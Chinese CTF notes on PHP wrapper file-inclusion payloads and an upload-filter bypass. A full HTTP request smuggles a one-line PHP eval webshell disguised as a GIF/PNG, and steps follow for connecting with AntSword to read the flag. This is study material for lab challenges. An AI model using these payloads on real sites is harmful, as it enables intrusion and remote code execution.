一、利用php伪协议
php://input
php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data。
php://filter协议
协议语法:
php://filter:/=
php://filter 的 参数列表
read 读取
write 写入
resource 数据来源(必须的)
read的参数
string.strip_tags 将数据流中的所有html标签清除
string.toupper 将数据流中的内容转换为大写
string.tolower 将数据流中的内容转换为小写
convert.base64-encode 将数据流中的内容转换为base64编码
convert.base64-decode 与上面对应解码
具体利用比如:
?file=php://filter/read=convert.base64-encode/resource=flag.php
如果有大小写或者base过滤可以
?file=php://filter/read=string.toupper|string.rot13/resource=flag.php
然后再将rot13进行解码就可以了
二、文件上传
POST / HTTP/1.1
Host: 093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81
Content-Length: 351
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ0UA1LfRh3bm2lcU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryJ0UA1LfRh3bm2lcU
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/png
GIF89a
<script language="php">eval($_POST['shell']);</script>
------WebKitFormBoundaryJ0UA1LfRh3bm2lcU
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryJ0UA1LfRh3bm2lcU--
注意用Burp抓包,在成功上传文件的前提下,查看POST请求头文件,进行修改。要修改的是上传的文件名字,注意后缀为.php、.php1、php2、php3、phtml等过滤,同时还要修改Type为图片后缀imgae、png进行绕过。
区分是前端JS进行过滤还是后端过滤,如果是前端过滤用Burp进行绕过,后端过滤要修改请求头,phtml就是支持php的html文件。
绕过上传上去之后可能要猜测一下文件存放的路径,然后再用蚁剑来进行连接比如:
密码:为上传的一句话木马eval($_POST['shell']);中的shell。
连接上去之后 使用虚拟中断,输入cat /flag 查找显示对应的flag文件中的内容,如果没有flag文件可能需要自己手动查找在哪个位置。